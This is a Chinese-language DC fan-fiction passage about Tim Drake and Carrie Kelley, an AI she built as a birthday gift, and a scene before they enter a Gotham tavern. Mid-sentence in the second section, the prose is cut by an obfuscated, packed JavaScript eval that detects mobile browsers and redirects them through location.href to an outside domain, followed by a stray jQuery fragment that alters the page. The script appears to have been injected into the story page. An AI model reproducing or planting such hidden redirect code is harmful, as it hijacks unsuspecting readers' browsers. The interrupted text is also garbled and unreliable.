1
“提摩西，我要告诉你一件事。”
记忆中还是黑发的小女孩这样严肃地叫着他的名字。
女孩子的抽条总是来得比同龄男孩早上一些，加上那些芭蕾训练的痕迹，属于孩童的稚嫩已经在逐渐从她身上褪去，当他们站在一起时，提姆偶尔也会暗自在意一下自己还没开始如雨后春笋般迅速拔高的身高。
卡莉对他的称呼有自己的一套逻辑。
一般正常情况下就叫他提姆。做了坏事需要有人和她一起顶包，或者惹他生气的时候，就会讨好地拖着尾音，甜甜蜜蜜地叫他提米，像乞食的猫咪一样围着人打转。而这样完整地叫他提摩西时，往往是卡莉觉得这个时候需要他严肃对待接下来的对话。
于是提姆也正色：“什么事情？”
女孩扬起下巴，骄傲的模样让人想看看她身后是不是有一条无形的尾巴正高高翘起。
“我给你准备一个超级了不起的生日礼物！保证你看到后会大吃一惊！”
她自信的表情令提姆也忍不住产生些许对礼物的期盼。
“唔——”他放下手中的相机，配合着她猜测起来。“难道是我没拍到的罗宾照片？还是蝙蝠侠的签名照？”
尽管后者这种东西不可能存在。
卡莉的表情倏地一垮，脸颊气呼呼地鼓了起来。提姆看得出来她正在努力控制着自己翻白眼的想法，毕竟每次蕾妮阿姨看到了都会用那种温温柔柔但明显不赞同的眼神看着她。
卡莉一拳捶在他的肩膀上：“蝙蝠侠蝙蝠侠！你干脆哪天送上门去当蝙蝠侠的小孩得了！正好我看他挺喜欢带小男孩夜巡的，你的年龄也刚好在那个线上，说不定下一个穿着小短裤在哥谭的夜空上跳跃的就是你。”
“放心，到时候我一定会拍很多照片来当做你以后的黑历史记录，缺钱了就拿来勒索你！”
好吧，卡莉对于罗宾的那套制服审美一直有点不同的意见。不过他确实也没有穿着那种短裤乱跑的爱好。
她双手环着胸：“我准备的礼物怎么可能是那么普通的东西？”
“好吧好吧——对不起卡莉，是我的错。”
提姆作势吃痛地捂住肩膀，脸上却不自觉绽开笑容。他拉住卡莉的手腕，蓝眼睛以一种柔软的姿态地看着她。两个人毛绒绒的头顶挨在一起，仿佛洞穴中你挤我我挤你的两只小动物。
“那你可以告诉我是什么礼物吗？”
“不告诉你！这可是礼物，当然是要等到生日才能揭晓的！”
也许卡莉有预言的天赋也说不定，他真的主动送上门去当了蝙蝠侠的小孩。幼时那些天真的话语以两人都没想到的形式成真，而那个银色U盘静静地躺在他的手心上，来自他的体温覆盖住属于卡莉的温度。
相似的笑意再一次在提姆没有察觉到的情况下出现在他的脸上。
U盘插进电脑主机，开始读取。
显示屏蓦然一暗，点点数据星芒亮起长河，如奔腾的水流般在屏幕上汇集成一体，圆润的金色光球在黑色背景上安静旋转着，重构成机器小人的形象。
一行字出现在屏幕中。
【欢迎您的初次登录。】
【我是由卡莉女士主导，艾登先生协助研发的辅助型人工智能，现已检测到您拥有初始管理者权限，是否需要对AI的形象和姓名进行调整？】
一个AI，这确实出乎提姆对于礼物的猜测，但令他诧异的点并不在这里。
“我以为卡莉应该给了你名字？”
按照卡莉的性格，怎么可能会高兴别人随便修改她取的名字。
【卡莉女士并未对我命名，默认称呼为AI。根据底层代码设定，只有提姆先生您拥有我的命名权。按照卡莉女士的设想，您应该在九年前就接入另一半管理权限，与她一同完善修改我的代码。也许这句话对于AI来说不够恰当，但是——】
【提姆先生，很高兴终于能够见到您。】
这份迟到九年的礼物此刻终于在他面前展开完整的模样。
跨越三千多个日夜，穿过彼此人生近一半的光阴，在另一位创造者从不言说的打磨下，从半成品脱胎成完成品，带着那些键盘与当事人永远不会倾诉出来的话语，来到他的面前。
2
“提摩西，我发誓，你再用这种恶心的目光看着我，我会立马用物理方式让你睁不开眼。”
你面无表情地抬起手，捏得紧紧的拳头向他传达着你所言非虚这个事实。
提姆遗憾地挪开眼睛。
唉，果然时光会影响一个人。卡莉小的时候不好意思了只会摆出一副外强中干的骄傲模样，现在却已经发展到会用暴力手段来威胁别人闭嘴了。他在内心感慨着。
你一点都不想知道这家伙究竟在遗憾什么，正如你一点都不想在今天还看到提姆·德雷克的脸。
再好的朋友之间都需要一点私人空间好吗？
能定期联络一下知道彼此还在喘着气人还没死就足够了，连着几天在不必要的情况都见面对你来说还是有点太超过了。你和芭芭拉都尚且没有好到这种程度，这个人怎么能做到一脸理直气壮地无视你周身散发着的不欢迎气息？
你怀疑这是提姆·德雷克的某种阴谋，通过侵占你的私人空间与时间来达成一种对你的谋杀。
亏你还以为一个U盘能换来一个宁静的周末，简直亏死了。
“卡莉，你在干什么？”
“在内心恶毒地诅咒你赶紧自觉消失在我面前，或者来只海鸥把你叼走。”
那些嘎嘎叫着的海上抢匪怎么这个时候就不出现了？
你扔掉手上的塑料包装袋。它在经过你的摧残后变成皱巴巴一团，带着里面的面包碎屑滚进垃圾桶。海风太大，以至于你不得不将自己在空中如水母触须般乱飞的头发扎起来。
提姆坐在你的旁边，学着你的动作将包装袋掷入垃圾桶。他的动作比你潇洒流畅上好几分，扔完又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502778|186031||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单手托着脸继续看你。
他对你的想法提出可实施性建议：“你现在一脚把我踢下海，这个想法可能会实现得更快一点。”
你作势就要抬腿，结果自己没坐稳先往后翻去。他眼疾手快一把拉住你，刚将你拉稳就迅速身体一侧躲开你的动作。没能出其不意的你啧了一声，也不放弃，就这样和他出招拆招起来。也得亏你俩坐的地方坡度不算太高，不然这一番你来我往间你们必定会顺着坡滚下去。
打打闹闹间AI的机械提示声在耳麦中响起：“女士，监控显示有符合瑞德博士侧写的人进入了酒馆。”
你打闹的动作顿时一停，低头从包里摸出黑色口罩给自己戴上。
“明白，对了AI，关掉我对提姆·德雷克的位置共享协议！”
你恶狠狠地磨着后槽牙。就是这条来自九年的运行代码，让你原本快乐的一个人周末时光里硬生生多出来一个提姆。现在让你想破头，你也想不明白自己以前究竟是怎么想的，竟然加了一条这种协议进去。
噢，想起来了，你的本意是怕他哪天跟踪蝙蝠侠翻车，所以才写了这个定位代码进去。哪怕他本人被敲闷棍失去意识，也会有兢兢业业的AI向你汇报他的情况。
事后觉得单方面的位置共享太奇怪了，这样你不就和这个蝙蝠侠私生粉没什么区别了吗？于是才改成双向的。
结果因为AI一直在你这，那些小时候写的协议自然没有派上用场过，被你顺理成章地忘记了，直到提姆今天没报什么希望地随口一问。
因为有这条协议在，AI在向他透露你的位置时甚至不需要提前征求你的意见。
“收到，女士。”
提姆只是笑：“你知道就算这样，我事后还是可以再开启这个协议吧？”
毕竟他拥有着和你同样的权限。
“就你话多。”
你板着一张脸，手中拿着另一个崭新的口罩，一只手掐住他的下巴强迫他在你面前低下头，而后动作算不得温柔地将口罩给他戴上。
他没有动作，只是乖乖垂下眼看着你，睫毛在眼底投下一小片阴影，像是飞鸟落在海面上的倒影。直到你松开手后，他才坐直身体，抬起手背蹭了蹭被你指甲不小心刮出来的红痕，又将口罩向上提了提。
你还有点不放心：“既然你非要跟上来，待会别随便开口。有人和你搭讪别理，杯子里的东西也不要喝，看到奇怪的，呃——”
你卡了一下。
说实话在哥谭这个地方还真有点不好定义奇怪这个词。你上次和红头罩交易的时候还在酒吧里看到脑袋上顶着把刀的人在喝酒，也没见其他人有觉得多奇怪的样子。
这座城市的包容性还是太强了点。
“总之就是不闻不问不搭理！明白了吗？”
你再三强调。
提姆隔着口罩闷闷应了一声。
见他应该是真的听进去了，你才从堤坝上跳下来，拽着他的手腕走进酒馆。